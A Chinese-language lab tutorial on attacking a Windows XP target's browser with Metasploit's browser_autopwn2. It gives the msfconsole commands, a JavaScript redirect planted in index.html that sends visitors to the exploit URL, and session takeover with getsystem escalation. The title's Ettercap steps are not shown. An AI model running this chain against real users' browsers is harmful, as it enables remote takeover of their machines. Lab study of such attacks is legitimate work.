使用MSF和Ettercap进行自动化浏览器攻击

前言

攻击过程

一. 前言

browser_autopwn2是Metasploit提供的辅助功能模块。在受害者访问Web页面时，它会自动攻击受害者的浏览器。在开始攻击之前，browser_autopwn2能够检测用户使用的浏览器类型， browser_autopwn2将根据浏览器的检测结果，自行选择最合适的EXP。

攻击机：kali linux 2019.1

靶机：Windows xp Professional sp3

/etc/init.d/postgresql start
msfdb init
msfconsole
search browser_autopwn2
use auxiliary/server/browser_autopwn2
run

进入网站目录下，修改index.html文件，设置如下内容

<script language="javascript" type="text/javascript"> 
// 以下方式定时跳转
setTimeout("javascript:location.href='Hello！'", 1000); 
</script>

注意将Hello!修改为MSF生成的恶意url

靶机访问百度网站，可以看到页面跳转，此时MSF已经开始进行攻击

MSF创建会话之后，我们需要手动启用会话

1	sessions -l

1	sessions -i 1 #1为目标机器id

在攻击过程中可能会出现浏览器崩溃等情况，可以多尝试几次

1
2
3

getuid
getsystem
getuid

关于命令行乱码问题可以调整Linux终端的编码类型为GBK2312